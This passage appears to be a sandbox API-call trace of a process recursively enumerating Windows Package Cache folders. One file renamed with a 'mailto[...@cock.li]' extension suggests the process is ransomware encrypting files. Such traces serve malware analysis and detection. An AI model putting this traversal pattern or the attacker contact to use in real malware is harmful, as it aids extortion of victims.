	[0092.469] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b268
	[0092.470] wcscmp (_String1=".", _String2=".") returned 0
	[0092.470] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.470] wcscmp (_String1="..", _String2=".") returned 1
	[0092.470] wcscmp (_String1="..", _String2="..") returned 0
	[0092.470] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.470] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1
	[0092.470] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1
	[0092.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b930
	[0092.470] wcscpy (in: _Dest=0x491b930, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages"
	[0092.470] wcscat (in: _Dest=0x491b930, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\"
	[0092.470] wcscat (in: _Dest=0x491b930, _Source="vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0092.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491b550
	[0092.470] wcscpy (in: _Dest=0x491b550, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64"
	[0092.470] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\"
	[0092.470] wcscat (in: _Dest=0x491b550, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*"
	[0092.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470f988
	[0092.470] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.470] wcscmp (_String1=".", _String2=".") returned 0
	[0092.470] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.470] wcscmp (_String1="..", _String2=".") returned 1
	[0092.470] wcscmp (_String1="..", _String2="..") returned 0
	[0092.470] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0092.470] wcscmp (_String1="cab1.cab", _String2=".") returned 1
	[0092.471] wcscmp (_String1="cab1.cab", _String2="..") returned 1
	[0092.471] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0092.471] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1
	[0092.471] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1
	[0092.471] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0092.471] FindClose (in: hFindFile=0x477b068 | out: hFindFile=0x477b068) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470f988) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b930) returned 1
	[0092.471] FindNextFileW (in: hFindFile=0x477b268, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b33e03, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0092.471] FindClose (in: hFindFile=0x477b268 | out: hFindFile=0x477b268) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47130e0) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926710) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2c360) returned 1
	[0092.471] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4710328 | out: lpFindFileData=0x4710328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0092.471] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4710328) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bce8) returned 1
	[0092.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61f20) returned 1
	[0092.471] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0092.471] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2=".") returned 1
	[0092.471] wcscmp (_String1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", _String2="..") returned 1
	[0092.471] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x90) returned 0x4e304a8
	[0092.471] wcscpy (in: _Dest=0x4e304a8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.472] wcscat (in: _Dest=0x4e304a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.472] wcscat (in: _Dest=0x4e304a8, _Source="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0092.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4894e60
	[0092.472] wcscpy (in: _Dest=0x4894e60, _Source="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0092.472] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\"
	[0092.472] wcscat (in: _Dest=0x4894e60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*") returned="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*"
	[0092.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.472] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x9831b306, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x9831b306, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.472] wcscmp (_String1=".", _String2=".") returned 0
	[0092.472] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x9831b306, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x9831b306, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.472] wcscmp (_String1="..", _String2=".") returned 1
	[0092.472] wcscmp (_String1="..", _String2="..") returned 0
	[0092.472] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", cAlternateFileName="STATER~1.C3F")) returned 1
	[0092.472] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2=".") returned 1
	[0092.472] wcscmp (_String1="state.rsm.mailto[kkeessnnkkaa@cock.li].c3f7e", _String2="..") returned 1
	[0092.472] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0092.472] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1
	[0092.472] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1
	[0092.472] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
	[0092.472] FindClose (in: hFindFile=0x477b028 | out: hFindFile=0x477b028) returned 1
	[0092.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712c10) returned 1
	[0092.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4894e60) returned 1
	[0092.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e304a8) returned 1
	[0092.473] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0092.473] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2=".") returned 1
	[0092.473] wcscmp (_String1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", _String2="..") returned 1
	[0092.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61000
	[0092.473] wcscpy (in: _Dest=0x2d61000, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0092.473] wcscat (in: _Dest=0x2d61000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0092.473] wcscat (in: _Dest=0x2d61000, _Source="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0092.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481ba08
	[0092.473] wcscpy (in: _Dest=0x481ba08, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0092.473] wcscat (in: _Dest=0x481ba08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\"
	[0092.473] wcscat (in: _Dest=0x481ba08, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*"
	[0092.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712008
	[0092.473] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.473] wcscmp (_String1=".", _String2=".") returned 0
	[0092.473] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.473] wcscmp (_String1="..", _String2=".") returned 1
	[0092.473] wcscmp (_String1="..", _String2="..") returned 0
	[0092.473] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712008 | out: lpFindFileData=0x4712008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.473] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.473] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4926198
	[0092.473] wcscpy (in: _Dest=0x4926198, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0092.473] wcscat (in: _Dest=0x4926198, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\"
	[0092.473] wcscat (in: _Dest=0x4926198, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0092.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4926260
	[0092.474] wcscpy (in: _Dest=0x4926260, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0092.474] wcscat (in: _Dest=0x4926260, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\"
	[0092.474] wcscat (in: _Dest=0x4926260, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*"
	[0092.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47124d8
	[0092.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b068
	[0092.474] wcscmp (_String1=".", _String2=".") returned 0
	[0092.474] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.474] wcscmp (_String1="..", _String2=".") returned 1
	[0092.474] wcscmp (_String1="..", _String2="..") returned 0
	[0092.474] FindNextFileW (in: hFindFile=0x477b068, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0092.474] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1
	[0092.474] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1
	[0092.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e348
	[0092.474] wcscpy (in: _Dest=0x491e348, _Source="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
